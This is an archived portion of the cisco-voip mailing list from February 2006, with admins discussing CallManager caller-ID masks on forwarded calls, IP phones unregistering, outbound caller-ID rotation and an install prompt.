>  The call forwards to 813239438833 (my cell with the outgoing prefix of
>  8).
>  When the call forwards, it runs through the route pattern 8.@
>  The call exits the PRI Gateway, and the Calling Party Transform Mask
>  applied is 323860XXXX.
>  The call reaches my cellphone, and the caller-id says 323-860-5625
>  So, only the last 4 digits are from the original callers phone number,
>  and the rest are from the route pattern's transform mask.
>  Needless to say, this is a problem.
>
>  One solution I have found is to eliminate the "Calling Party Transform
>  Mask" from all route patterns. Then, I add an "External Phone Number
>  Mask" to each and every line on my phone. This way, when I call out from
>  my phone, the caller-id is correct, and calls forwarded through my phone
>  retain their caller-id when they go through the route pattern. This is a
>  serious maintenance nightmare, as I would have number mask's all over
>  the place. However, the upside of this route, is that the 2 people in
>  the office who want caller-id blocked on their outbound calls can do
>  so...(anyone know an easier way?)
>
>  I know other people have had to deal with this, but I cannot find the
>  answer in my archives of this mailing list.
>
>  Have you ever dealt with this, and do you have a solution that will
>  allow me to keep the number masks in the route pattern?
>


From lelio at uoguelph.ca  Wed Feb  8 16:27:57 2006
From: lelio at uoguelph.ca (Lelio Fulgenzi)
Date: Wed Feb  8 16:28:01 2006
Subject: [cisco-voip] route patterns/callerid mask/callforward
References: <B487D4C1FE6D04439061018C6EBC109B029E3F32@exchange.cimgroup.com><F0E07923-4D79-4A81-9712-90DE08831169@cisco.com>
	<003001c62cf5$dc23ef30$4cd4e380@NOMAD>
Message-ID: <001301c62cf6$87b65bd0$30196883@cfs.uoguelph.ca>

The other thing I like about this is that the main number is on the first line of the phone! If you've been working here for a long time, you know the number, but if you are visiting, you may not know the main number. I wish they would allow presentation characters like the ()- though, so you could format the number nicely.

--------------------------------------------------------------------------------
Lelio Fulgenzi, B.A.
Network Analyst (CCS) * University of Guelph * Guelph, Ontario N1G 2W1
(519) 824-4120 x56354 (519) 767-1060 FAX (JNHN)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 
"I had a coffee and Coke at lunch today...and now, I've got more jitter than an
IP phone on a long haul 10base2 connection"                                           LFJ
  ----- Original Message ----- 
  From: Greg Ayoub 
  To: Ryan Ratliff 
  Cc: cisco-voip at puck.nether.net 
  Sent: Wednesday, February 08, 2006 4:23 PM
  Subject: Re: [cisco-voip] route patterns/callerid mask/callforward


  ...One solution I have found is to eliminate the "Calling Party Transform
  Mask" from all route patterns. Then, I add an "External Phone Number
  Mask" to each and every line on my phone. This way, when I call out from
  my phone, the caller-id is correct, and calls forwarded through my phone
  retain their caller-id when they go through the route pattern. This is a
  serious maintenance nightmare...

  That was our solution as well.  If you find a better one, let us know! 

  ----- Original Message ----- 
  From: "Ryan Ratliff" <rratliff at cisco.com>
  To: "IT" <it at cimgroup.com>
  Cc: <cisco-voip at puck.nether.net>
  Sent: Wednesday, February 08, 2006 3:45 PM
  Subject: Re: [cisco-voip] route patterns/callerid mask/callforward


  BAT?

  It can easily modify your external calling party number.

  -Ryan

  On Feb 8, 2006, at 3:40 PM, IT wrote:

  Here is my dilemma.
  All the phones in my callmanager 4.0 setup do not have "external phone
  number mask" setup.  Instead, I have put the number mask in to the
  translation pattern for outbound calling. For example.
  My extension is 4990
  I dial a call that matches the 8.@ route pattern, and the call gets
  routed out the PRI Gateway, and the pattern applies the "Calling Party
  Transform Mask" of 323860XXXX
  This results in the caller-id showing up as 323-860-4990. Perfect.
  Now here are the problems with this solution. If I enable callforwarding
  on my phone (sending them to my cellphone), the caller-id gets messed
  up. Here is why:
  Let's say my friend at 310-833-5625 calls me on my cisco phone. The call
  hits the phone, but there is a CFwdAll set.
  The call forwards to 813239438833 (my cell with the outgoing prefix of
  8).
  When the call forwards, it runs through the route pattern 8.@
  The call exits the PRI Gateway, and the Calling Party Transform Mask
  applied is 323860XXXX.
  The call reaches my cellphone, and the caller-id says 323-860-5625
  So, only the last 4 digits are from the original callers phone number,
  and the rest are from the route pattern's transform mask.
  Needless to say, this is a problem.

  One solution I have found is to eliminate the "Calling Party Transform
  Mask" from all route patterns. Then, I add an "External Phone Number
  Mask" to each and every line on my phone. This way, when I call out from
  my phone, the caller-id is correct, and calls forwarded through my phone
  retain their caller-id when they go through the route pattern. This is a
  serious maintenance nightmare, as I would have number mask's all over
  the place. However, the upside of this route, is that the 2 people in
  the office who want caller-id blocked on their outbound calls can do
  so...(anyone know an easier way?)

  I know other people have had to deal with this, but I cannot find the
  answer in my archives of this mailing list.

  Have you ever dealt with this, and do you have a solution that will
  allow me to keep the number masks in the route pattern?

  _______________________________________________
  cisco-voip mailing list
  cisco-voip at puck.nether.net
  https://puck.nether.net/mailman/listinfo/cisco-voip

  _______________________________________________
  cisco-voip mailing list
  cisco-voip at puck.nether.net
  https://puck.nether.net/mailman/listinfo/cisco-voip

  _______________________________________________
  cisco-voip mailing list
  cisco-voip at puck.nether.net
  https://puck.nether.net/mailman/listinfo/cisco-voip
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From wsisk at cisco.com  Wed Feb  8 16:29:03 2006
From: wsisk at cisco.com (Wes Sisk)
Date: Wed Feb  8 16:29:15 2006
Subject: [cisco-voip] (no subject)
In-Reply-To: <E9024CA51D9D8042AED3FA8DC77B1241D3FC27@mail1.newstep.com>
References: <E9024CA51D9D8042AED3FA8DC77B1241D3FC27@mail1.newstep.com>
Message-ID: <43EA629F.2090000@cisco.com>

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From wsisk at cisco.com  Wed Feb  8 16:34:33 2006
From: wsisk at cisco.com (Wes Sisk)
Date: Wed Feb  8 16:34:46 2006
Subject: [cisco-voip] BARS Error
In-Reply-To: <D713462ED535184D830F6F6301753E7E01BE1275@VISHNU.wesd.org>
References: <D713462ED535184D830F6F6301753E7E01BE1275@VISHNU.wesd.org>
Message-ID: <43EA63E9.5060809@cisco.com>

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From jose.robles at netxar.com  Wed Feb  8 16:37:31 2006
From: jose.robles at netxar.com (Jose Robles)
Date: Wed Feb  8 16:37:38 2006
Subject: [cisco-voip] IP Phones unregisters at the same time CCM 4.1(3)sr1
Message-ID: <000501c62cf7$dee26100$4002a8c0@Test1>

I have an isue using CM 4.1.3(sr1). 19 Ip Phones 7960 unregisters many
of them at the same time. Ussually at 4pm or 5pm or later when there is
not much activity at the site. I've seen this problem in another forum
people complaining with the same situation. This are the Reason code 8
events in the event viewer and in the CCM Trace folder log: 


02/06/2006 17:42:28.587 CCM|DeviceUnregistered - Device unregistered.
Device name.:SEP0013193E52AB Device IP address.:172.16.x.x Device type.
[Optional]:7 Device description [Optional].:Description Phone Reason
Code [Optional].:8 App ID:Cisco CallManager Cluster ID:1902-Cluster Node
ID:172.17.x.x|<CLID::1902-Cluster><NID::172.17.x.x><CT::AlarmSEP0013193E
52AB><DEV::SEP0013193E52AB> 


The description for Event ID ( 3 ) in Source ( Cisco CallManager )
cannot be found. The local computer may not have the necessary registry
information or message DLL files to display messages from a remote
computer. You may be able to use the /AUXSOURCE= flag to retrieve this
description; see Help and Support for details. The following information
is part of the event: DeviceUnregistered - Device unregistered. 
Device name.: SEP0012D9B95154 
Device IP address.: 172.17.x.x 
Device type. [Optional]: 7 
Device description [Optional].: Sistemas 
Reason Code [Optional].: 8 
App ID: Cisco CallManager 
Cluster ID: 1902-Cluster 
Node ID: 172.17.x.x 
Explanation: A device that has previously registered with Cisco
CallManager has unregistered. This event may be issued as part of normal
unregistration event or due to some other reason such as loss of
keepalives. 
Recommended Action: No action is required if unregistration of this
device was expected.. 


I think we are hitting a bug in 4.1.3 sr1. Any ideas?

 

Thanks again,

 

 

 

Jose A. Robles
Sr. Network Consultant
CCNP, CCDP
CQS Routing and Lan Switching Specialist
Netxar Technologies, Inc. - www.netxar.com 
17 Ponce Street 
San Juan, PR 00917
ph:  +1 787 765 0058  x2015
fax: +1 787 756 5362 
cel: +1 787 547-0149
email jose.robles at netxar.com

 

 

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From it at cimgroup.com  Wed Feb  8 16:44:40 2006
From: it at cimgroup.com (IT)
Date: Wed Feb  8 16:40:12 2006
Subject: [cisco-voip] route patterns/callerid mask/callforward
Message-ID: <B487D4C1FE6D04439061018C6EBC109B029E3FB0@exchange.cimgroup.com>

But that wont fix the problem. I want to see the actual callers
caller-id. The original callers cell phone number will now be covered up
by the telco with my companies main number. Many people here forward all
their calls to their cellphone, and this basically eliminates caller-id
for them...

-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Justin
Steinberg
Sent: Wednesday, February 08, 2006 1:27 PM
To: cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] route patterns/callerid mask/callforward

A really easy fix for this problem is to call your Telco and request a
'screening range'.

They can populate a screening range with all the DIDs on your PRI. 
Then whenever an outbound call is placed from your site the Telco
checks the ANI that CallManager is sending.  If the ANI is a valid DID
then it is passed without modification.  If the ANI is something
outside of your DID range then the telco overwrites your ANI with your
main phone number.

All the major telco's I've dealt with support the screening range
concept in one way or the other.

Of course, a side effect of this problem is you can no longer prank
your friends - and other legitimate things such as wanting to send out
a toll-free number as your ANI.

Justin


> Date: Wed, 8 Feb 2006 15:50:09 -0500
> From: "Lelio Fulgenzi" <lelio at uoguelph.ca>
> Subject: Re: [cisco-voip] route patterns/callerid mask/callforward
> To: "IT" <it at cimgroup.com>, <cisco-voip at puck.nether.net>
> Message-ID: <00c701c62cf1$41208ab0$30196883 at cfs.uoguelph.ca>
> Content-Type: text/plain; charset="iso-8859-1"
>
> So you're saying that if I forward my phone offcampus to a phone that
has call display, what I see on the other side depends on whether I use
the phones external calling mask or the route pattern mask? I don't use
wildcards, I simply populate the field with our main number. If I have
the external mask set per phone, I will see the original caller's
number, but if I use the mask on the RP I will see my main number?
>
>
------------------------------------------------------------------------
--------
> Lelio Fulgenzi, B.A.
> Network Analyst (CCS) * University of Guelph * Guelph, Ontario N1G 2W1
> (519) 824-4120 x56354 (519) 767-1060 FAX (JNHN)
> ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> "I had a coffee and Coke at lunch today...and now, I've got more
jitter than an
> IP phone on a long haul 10base2 connection"
LFJ
>  ----- Original Message -----
>  From: IT
>  To: cisco-voip at puck.nether.net
>  Sent: Wednesday, February 08, 2006 3:40 PM
>  Subject: [cisco-voip] route patterns/callerid mask/callforward
>
>
>  Here is my dilemma.
>  All the phones in my callmanager 4.0 setup do not have "external
phone
>  number mask" setup.  Instead, I have put the number mask in to the
>  translation pattern for outbound calling. For example.
>  My extension is 4990
>  I dial a call that matches the 8.@ route pattern, and the call gets
>  routed out the PRI Gateway, and the pattern applies the "Calling
Party
>  Transform Mask" of 323860XXXX
>  This results in the caller-id showing up as 323-860-4990. Perfect.
>  Now here are the problems with this solution. If I enable
callforwarding
>  on my phone (sending them to my cellphone), the caller-id gets messed
>  up. Here is why:
>  Let's say my friend at 310-833-5625 calls me on my cisco phone. The
call
>  hits the phone, but there is a CFwdAll set.
>  The call forwards to 813239438833 (my cell with the outgoing prefix
of
>  8).
>  When the call forwards, it runs through the route pattern 8.@
>  The call exits the PRI Gateway, and the Calling Party Transform Mask
>  applied is 323860XXXX.
>  The call reaches my cellphone, and the caller-id says 323-860-5625
>  So, only the last 4 digits are from the original callers phone
number,
>  and the rest are from the route pattern's transform mask.
>  Needless to say, this is a problem.
>
>  One solution I have found is to eliminate the "Calling Party
Transform
>  Mask" from all route patterns. Then, I add an "External Phone Number
>  Mask" to each and every line on my phone. This way, when I call out
from
>  my phone, the caller-id is correct, and calls forwarded through my
phone
>  retain their caller-id when they go through the route pattern. This
is a
>  serious maintenance nightmare, as I would have number mask's all over
>  the place. However, the upside of this route, is that the 2 people in
>  the office who want caller-id blocked on their outbound calls can do
>  so...(anyone know an easier way?)
>
>  I know other people have had to deal with this, but I cannot find the
>  answer in my archives of this mailing list.
>
>  Have you ever dealt with this, and do you have a solution that will
>  allow me to keep the number masks in the route pattern?
>

_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip


From lelio at uoguelph.ca  Wed Feb  8 16:42:05 2006
From: lelio at uoguelph.ca (Lelio Fulgenzi)
Date: Wed Feb  8 16:42:10 2006
Subject: [cisco-voip] IP Phones unregisters at the same time CCM 4.1(3)sr1
References: <000501c62cf7$dee26100$4002a8c0@Test1>
Message-ID: <007a01c62cf8$81340760$30196883@cfs.uoguelph.ca>

Could this be the SATA bug in the new servers? Something like 100%CPU every five hours?

--------------------------------------------------------------------------------
Lelio Fulgenzi, B.A.
Network Analyst (CCS) * University of Guelph * Guelph, Ontario N1G 2W1
(519) 824-4120 x56354 (519) 767-1060 FAX (JNHN)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 
"I had a coffee and Coke at lunch today...and now, I've got more jitter than an
IP phone on a long haul 10base2 connection"                                           LFJ
  ----- Original Message ----- 
  From: Jose Robles 
  To: cisco-voip at puck.nether.net 
  Sent: Wednesday, February 08, 2006 4:37 PM
  Subject: [cisco-voip] IP Phones unregisters at the same time CCM 4.1(3)sr1


  I have an isue using CM 4.1.3(sr1). 19 Ip Phones 7960 unregisters many of them at the same time. Ussually at 4pm or 5pm or later when there is not much activity at the site. I've seen this problem in another forum people complaining with the same situation. This are the Reason code 8 events in the event viewer and in the CCM Trace folder log: 


  02/06/2006 17:42:28.587 CCM|DeviceUnregistered - Device unregistered. Device name.:SEP0013193E52AB Device IP address.:172.16.x.x Device type. [Optional]:7 Device description [Optional].:Description Phone Reason Code [Optional].:8 App ID:Cisco CallManager Cluster ID:1902-Cluster Node ID:172.17.x.x|<CLID::1902-Cluster><NID::172.17.x.x><CT::AlarmSEP0013193E52AB><DEV::SEP0013193E52AB> 


  The description for Event ID ( 3 ) in Source ( Cisco CallManager ) cannot be found. The local computer may not have the necessary registry information or message DLL files to display messages from a remote computer. You may be able to use the /AUXSOURCE= flag to retrieve this description; see Help and Support for details. The following information is part of the event: DeviceUnregistered - Device unregistered. 
  Device name.: SEP0012D9B95154 
  Device IP address.: 172.17.x.x 
  Device type. [Optional]: 7 
  Device description [Optional].: Sistemas 
  Reason Code [Optional].: 8 
  App ID: Cisco CallManager 
  Cluster ID: 1902-Cluster 
  Node ID: 172.17.x.x 
  Explanation: A device that has previously registered with Cisco CallManager has unregistered. This event may be issued as part of normal unregistration event or due to some other reason such as loss of keepalives. 
  Recommended Action: No action is required if unregistration of this device was expected.. 


  I think we are hitting a bug in 4.1.3 sr1. Any ideas?



  Thanks again,







  Jose A. Robles
  Sr. Network Consultant
  CCNP, CCDP
  CQS Routing and Lan Switching Specialist
  Netxar Technologies, Inc. - www.netxar.com 
  17 Ponce Street 
  San Juan, PR 00917
  ph:  +1 787 765 0058  x2015
  fax: +1 787 756 5362 
  cel: +1 787 547-0149
  email jose.robles at netxar.com







------------------------------------------------------------------------------


  _______________________________________________
  cisco-voip mailing list
  cisco-voip at puck.nether.net
  https://puck.nether.net/mailman/listinfo/cisco-voip
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From wsisk at cisco.com  Wed Feb  8 17:17:51 2006
From: wsisk at cisco.com (Wes Sisk)
Date: Wed Feb  8 17:18:01 2006
Subject: [cisco-voip] IP Phones unregisters at the same time CCM 4.1(3)sr1
In-Reply-To: <000501c62cf7$dee26100$4002a8c0@Test1>
References: <000501c62cf7$dee26100$4002a8c0@Test1>
Message-ID: <43EA6E0F.90208@cisco.com>

8 = device initiated reset, but CM cannot be trusted in these matters. 
it only reports what it perceives to be the problem.

the phone reports what it believes to be the problem in the ALARM 
message in the CCM traces when it re-registers to CM, either the primary 
CM or the backup CM.

1. open cmd prompt
2. "cd \prog*\cisco\trace\ccm"
3. findstr Last= ccm*.txt >last.txt
4. notepad last.txt

The text after the word "last" is the phone's point of view of why it 
unregistered. It is usually more informative (31 possible values as 
opposed to 12 possible for CM).

Why does the phone say it unregistered?

Jose Robles wrote:
>
> I have an isue using CM 4.1.3(sr1). 19 Ip Phones 7960 unregisters many 
> of them at the same time. Ussually at 4pm or 5pm or later when there 
> is not much activity at the site. I?ve seen this problem in another 
> forum people complaining with the same situation. This are the Reason 
> code 8 events in the event viewer and in the CCM Trace folder log:
>
>
> 02/06/2006 17:42:28.587 CCM|DeviceUnregistered - Device unregistered. 
> Device name.:SEP0013193E52AB Device IP address.:172.16.x.x Device 
> type. [Optional]:7 Device description [Optional].:Description Phone 
> Reason Code [Optional].:8 App ID:Cisco CallManager Cluster 
> ID:1902-Cluster Node 
> ID:172.17.x.x|<CLID::1902-Cluster><NID::172.17.x.x><CT::AlarmSEP0013193E52AB><DEV::SEP0013193E52AB> 
>
>
>
> The description for Event ID ( 3 ) in Source ( Cisco CallManager ) 
> cannot be found. The local computer may not have the necessary 
> registry information or message DLL files to display messages from a 
> remote computer. You may be able to use the /AUXSOURCE= flag to 
> retrieve this description; see Help and Support for details. The 
> following information is part of the event: DeviceUnregistered - 
> Device unregistered.
> Device name.: SEP0012D9B95154
> Device IP address.: 172.17.x.x
> Device type. [Optional]: 7
> Device description [Optional].: Sistemas
> Reason Code [Optional].: 8
> App ID: Cisco CallManager
> Cluster ID: 1902-Cluster
> Node ID: 172.17.x.x
> Explanation: A device that has previously registered with Cisco 
> CallManager has unregistered. This event may be issued as part of 
> normal unregistration event or due to some other reason such as loss 
> of keepalives.
> Recommended Action: No action is required if unregistration of this 
> device was expected..
>
>
> I think we are hitting a bug in 4.1.3 sr1. Any ideas?
>
> Thanks again,
>
> Jose A. Robles
> Sr. Network Consultant
> CCNP, CCDP
> CQS Routing and Lan Switching Specialist
> Netxar Technologies, Inc. - www.netxar.com <http://www.netxar.com>
> 17 Ponce Street
> San Juan, PR 00917
> ph: +1 787 765 0058 x2015
> fax: +1 787 756 5362
> cel: +1 787 547-0149
> email jose.robles at netxar.com <mailto:jose.robles at netxar.com>
>
> ------------------------------------------------------------------------
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>   


From ealeatherman at gmail.com  Wed Feb  8 17:20:38 2006
From: ealeatherman at gmail.com (Ed Leatherman)
Date: Wed Feb  8 17:20:40 2006
Subject: [cisco-voip] IP Phones unregisters at the same time CCM 4.1(3)sr1
In-Reply-To: <43EA6E0F.90208@cisco.com>
References: <000501c62cf7$dee26100$4002a8c0@Test1> <43EA6E0F.90208@cisco.com>
Message-ID: <94a1afde0602081420k7df9650dg41f81ca7a301e9a0@mail.gmail.com>

I see large groups of resets sometimes during odd hours that are DHCP leases
expiring or some such similar.

On 2/8/06, Wes Sisk <wsisk at cisco.com> wrote:
>
> 8 = device initiated reset, but CM cannot be trusted in these matters.
> it only reports what it perceives to be the problem.
>
> the phone reports what it believes to be the problem in the ALARM
> message in the CCM traces when it re-registers to CM, either the primary
> CM or the backup CM.
>
> 1. open cmd prompt
> 2. "cd \prog*\cisco\trace\ccm"
> 3. findstr Last= ccm*.txt >last.txt
> 4. notepad last.txt
>
> The text after the word "last" is the phone's point of view of why it
> unregistered. It is usually more informative (31 possible values as
> opposed to 12 possible for CM).
>
> Why does the phone say it unregistered?
>
> Jose Robles wrote:
> >
> > I have an isue using CM 4.1.3(sr1). 19 Ip Phones 7960 unregisters many
> > of them at the same time. Ussually at 4pm or 5pm or later when there
> > is not much activity at the site. I've seen this problem in another
> > forum people complaining with the same situation. This are the Reason
> > code 8 events in the event viewer and in the CCM Trace folder log:
> >
> >
> > 02/06/2006 17:42:28.587 CCM|DeviceUnregistered - Device unregistered.
> > Device name.:SEP0013193E52AB Device IP address.:172.16.x.x Device
> > type. [Optional]:7 Device description [Optional].:Description Phone
> > Reason Code [Optional].:8 App ID:Cisco CallManager Cluster
> > ID:1902-Cluster Node
> > ID:172.17.x.x|<CLID::1902-Cluster><NID::172.17.x.x
> ><CT::AlarmSEP0013193E52AB><DEV::SEP0013193E52AB>
> >
> >
> >
> > The description for Event ID ( 3 ) in Source ( Cisco CallManager )
> > cannot be found. The local computer may not have the necessary
> > registry information or message DLL files to display messages from a
> > remote computer. You may be able to use the /AUXSOURCE= flag to
> > retrieve this description; see Help and Support for details. The
> > following information is part of the event: DeviceUnregistered -
> > Device unregistered.
> > Device name.: SEP0012D9B95154
> > Device IP address.: 172.17.x.x
> > Device type. [Optional]: 7
> > Device description [Optional].: Sistemas
> > Reason Code [Optional].: 8
> > App ID: Cisco CallManager
> > Cluster ID: 1902-Cluster
> > Node ID: 172.17.x.x
> > Explanation: A device that has previously registered with Cisco
> > CallManager has unregistered. This event may be issued as part of
> > normal unregistration event or due to some other reason such as loss
> > of keepalives.
> > Recommended Action: No action is required if unregistration of this
> > device was expected..
> >
> >
> > I think we are hitting a bug in 4.1.3 sr1. Any ideas?
> >
> > Thanks again,
> >
> > Jose A. Robles
> > Sr. Network Consultant
> > CCNP, CCDP
> > CQS Routing and Lan Switching Specialist
> > Netxar Technologies, Inc. - www.netxar.com <http://www.netxar.com>
> > 17 Ponce Street
> > San Juan, PR 00917
> > ph: +1 787 765 0058 x2015
> > fax: +1 787 756 5362
> > cel: +1 787 547-0149
> > email jose.robles at netxar.com <mailto:jose.robles at netxar.com>
> >
> > ------------------------------------------------------------------------
> >
> > _______________________________________________
> > cisco-voip mailing list
> > cisco-voip at puck.nether.net
> > https://puck.nether.net/mailman/listinfo/cisco-voip
> >
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>



--
Ed Leatherman
IP Telephony Coordinator
West Virginia University
Telecommunications and Network Operations
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From jose.robles at netxar.com  Wed Feb  8 17:35:28 2006
From: jose.robles at netxar.com (Jose Robles)
Date: Wed Feb  8 17:35:34 2006
Subject: [cisco-voip] IP Phones unregisters at the same time CCM 4.1(3)sr1
In-Reply-To: <94a1afde0602081420k7df9650dg41f81ca7a301e9a0@mail.gmail.com>
Message-ID: <000601c62cff$f7dce790$4002a8c0@Test1>

Here is what it says for the re-registers for one of the devices. There
is nothing with the "last" keyword. Hope this helps. Thanks all.

 

02/05/2006 20:25:17.802 CCM|DeviceUnregistered - Device unregistered.
Device name.:SEP0012D9845906 Device IP address.:172.16.25.11 Device
type. [Optional]:7 Device description [Optional].:HelpDesk - Desc Reason
Code [Optional].:9 App ID:Cisco CallManager Cluster ID:OGP19022B-Cluster
Node
ID:172.17.1.11|<CLID::OGP19022B-Cluster><NID::172.17.1.11><CT::AlarmSEP0
012D9845906><DEV::SEP0012D9845906>

02/05/2006 20:25:17.817 CCM|Socket Broken. DeviceName=Unknown, TCPPid =
[2.100.132.8876], IPAddr=Unknown IP Address, Port=0x0, Device
Controller=[0,0,0]|<CLID::OGP19022B-Cluster><NID::172.17.1.11><CT::2,100
,132,8876.1><IP::><DEV::>

02/05/2006 20:25:54.365 CCM|LineControl(8930) - registered with
Duplicate DeviceName SEP0012D9845906, force the device to do the
reregister: single device
case|<CLID::OGP19022B-Cluster><NID::172.17.1.11><CT::1,100,119,1.5012886
><IP::172.16.25.11><DEV::SEP0012D9845906>

02/05/2006 20:25:54.365 CCM|LineControl(8931) - registered with
Duplicate DeviceName SEP0012D9845906, force the device to do the
reregister: single device
case|<CLID::OGP19022B-Cluster><NID::172.17.1.11><CT::1,100,119,1.5012886
><IP::172.16.25.11><DEV::SEP0012D9845906>

 

 

 

 

-----Original Message-----
From: Ed Leatherman [mailto:ealeatherman at gmail.com] 
Sent: Wednesday, February 08, 2006 6:21 PM
To: Wes Sisk
Cc: Jose Robles; cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] IP Phones unregisters at the same time CCM
4.1(3)sr1

 

I see large groups of resets sometimes during odd hours that are DHCP
leases expiring or some such similar.

On 2/8/06, Wes Sisk < wsisk at cisco.com <mailto:wsisk at cisco.com> > wrote:

8 = device initiated reset, but CM cannot be trusted in these matters. 
it only reports what it perceives to be the problem.

the phone reports what it believes to be the problem in the ALARM
message in the CCM traces when it re-registers to CM, either the primary
CM or the backup CM. 

1. open cmd prompt
2. "cd \prog*\cisco\trace\ccm"
3. findstr Last= ccm*.txt >last.txt
4. notepad last.txt

The text after the word "last" is the phone's point of view of why it 
unregistered. It is usually more informative (31 possible values as
opposed to 12 possible for CM).

Why does the phone say it unregistered?

Jose Robles wrote:
>
> I have an isue using CM 4.1.3 (sr1). 19 Ip Phones 7960 unregisters
many
> of them at the same time. Ussually at 4pm or 5pm or later when there
> is not much activity at the site. I've seen this problem in another
> forum people complaining with the same situation. This are the Reason 
> code 8 events in the event viewer and in the CCM Trace folder log:
>
>
> 02/06/2006 17:42:28.587 CCM|DeviceUnregistered - Device unregistered.
> Device name.:SEP0013193E52AB Device IP address.: 172.16.x.x Device
> type. [Optional]:7 Device description [Optional].:Description Phone
> Reason Code [Optional].:8 App ID:Cisco CallManager Cluster
> ID:1902-Cluster Node
> ID:172.17.x.x|<CLID::1902-Cluster><NID::
172.17.x.x><CT::AlarmSEP0013193E52AB><DEV::SEP0013193E52AB>
>
>
>
> The description for Event ID ( 3 ) in Source ( Cisco CallManager )
> cannot be found. The local computer may not have the necessary 
> registry information or message DLL files to display messages from a
> remote computer. You may be able to use the /AUXSOURCE= flag to
> retrieve this description; see Help and Support for details. The 
> following information is part of the event: DeviceUnregistered -
> Device unregistered.
> Device name.: SEP0012D9B95154
> Device IP address.: 172.17.x.x
> Device type. [Optional]: 7
> Device description [Optional].: Sistemas 
> Reason Code [Optional].: 8
> App ID: Cisco CallManager
> Cluster ID: 1902-Cluster
> Node ID: 172.17.x.x
> Explanation: A device that has previously registered with Cisco
> CallManager has unregistered. This event may be issued as part of 
> normal unregistration event or due to some other reason such as loss
> of keepalives.
> Recommended Action: No action is required if unregistration of this
> device was expected..
>
> 
> I think we are hitting a bug in 4.1.3 sr1. Any ideas?
>
> Thanks again,
>
> Jose A. Robles
> Sr. Network Consultant
> CCNP, CCDP
> CQS Routing and Lan Switching Specialist 
> Netxar Technologies, Inc. - www.netxar.com <http://www.netxar.com>
> 17 Ponce Street
> San Juan, PR 00917
> ph: +1 787 765 0058 x2015 
> fax: +1 787 756 5362
> cel: +1 787 547-0149
> email jose.robles at netxar.com <mailto:jose.robles at netxar.com> 
>
>
------------------------------------------------------------------------
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>

_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip 




-- 
Ed Leatherman
IP Telephony Coordinator
West Virginia University
Telecommunications and Network Operations 

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From erickbe at yahoo.com  Wed Feb  8 20:03:59 2006
From: erickbe at yahoo.com (Erick Bergquist)
Date: Wed Feb  8 20:04:07 2006
Subject: [cisco-voip] Outbound Caller ID
In-Reply-To: <9AEF8665DE74FA43B3B987FB931E92AE0F16C4@CBVVANEM01.cbv.dns>
Message-ID: <20060209010359.34129.qmail@web34310.mail.mud.yahoo.com>


Why not restrict the calling party number on those
route patterns so it isn't presented? 

You could also get creative with the time of day
feature. 

--- Cisco Subscriber <subs-cisco at cbvcollections.com>
wrote:

> We need to rotate them to avoid issues with called
> parties becoming
> familiar with a single number and/or using call
> blocking services.
> Hint: "collections" in our domain name should tell
> you something.  ;-)
> 
> Anyone familiar with legislation regarding caller id
> in Canada?
> 
> -----Original Message-----
> From: Patrick Aland [mailto:paland at gmail.com] 
> Sent: February 8, 2006 5:29 AM
> To: erickbe at yahoo.com
> Cc: Cisco Subscriber; cisco-voip at puck.nether.net
> Subject: Re: [cisco-voip] Outbound Caller ID
> 
> A small script using AXL could probably rotate the
> numbers for you by
> updating the external mask on the phones in a list.
> Out of curiosity, why do you want to rotate the
> number in the first
> place?
> 
> On 2/8/06, Erick Bergquist <erickbe at yahoo.com>
> wrote:
> > I am not aware of a such an application to change
> the calling party 
> > number/mask in call manager like that
> automatically.
> >
> > If the gateway were H.323 you could use existing
> scripting programs 
> > available to manage router configs to modify
> translation-rules and 
> > translation profiles.
> >
> >
> > --- Cisco Subscriber
> <subs-cisco at cbvcollections.com>
> > wrote:
> >
> > > Hi all...
> > >
> > > I've been tasked with looking into rotating our
> caller ID to 
> > > different numbers.  I've contacted our provider
> and we should be 
> > > able to set our caller id to any of the DIDs
> assigned to us.  That's
> 
> > > easy enough to do, we set aside a bank of
> reserved DIDs assigned to 
> > > us (not active) and set that as the external
> phone mask for the sets
> 
> > > which require the 'fake'
> > > DID (it would be easier to set the caller ID on
> the gateway level 
> > > but there are some extensions that require their
> actual DID to be 
> > > displayed).
> > >
> > > Ideally I'd like to rotate our caller id amongst
> a pre-defined bank 
> > > of numbers on a per call basis.  Currently I am
> limited to updating 
> > > the external mask for the phones on a regular
> basis.
> > >
> > > I have some questions:
> > >  - Are there legal issues (in Canada) with
> displaying a caller id 
> > > which is assigned to us, but not in service?
> > >  - Are there 3rd party programs that are able to
> rotate the outbound
> 
> > > caller id that interface with callmanager?


__________________________________________________
Do You Yahoo!?
Tired of spam?  Yahoo! Mail has the best spam protection around 
http://mail.yahoo.com 

From Aaron.Derooy at xerox.com  Wed Feb  8 22:17:35 2006
From: Aaron.Derooy at xerox.com (DeRooy, Aaron H)
Date: Wed Feb  8 22:18:04 2006
Subject: [cisco-voip] IPCC/AA/IVR CD message
Message-ID: <E0EF33751DEA634DA817A51024A8E3F205B508C2@usa0300ms01.na.xerox.net>

Get this message when I put the CD in the CCM publisher drive and it
starts to install:

Install Wizard:

Local SQL Server/MSDE Login Mode must be changed
to Mixed Mode. Do you want to change it to Mixed Mode now?

YES     NO


CCM version is 4.1(2a). Any reason I shouldn't say YES to this? It
defaults to NO. 




Aaron H. DeRooy 



From erickbe at yahoo.com  Thu Feb  9 08:16:00 2006
From: erickbe at yahoo.com (Erick Bergquist)
Date: Thu Feb  9 08:16:08 2006
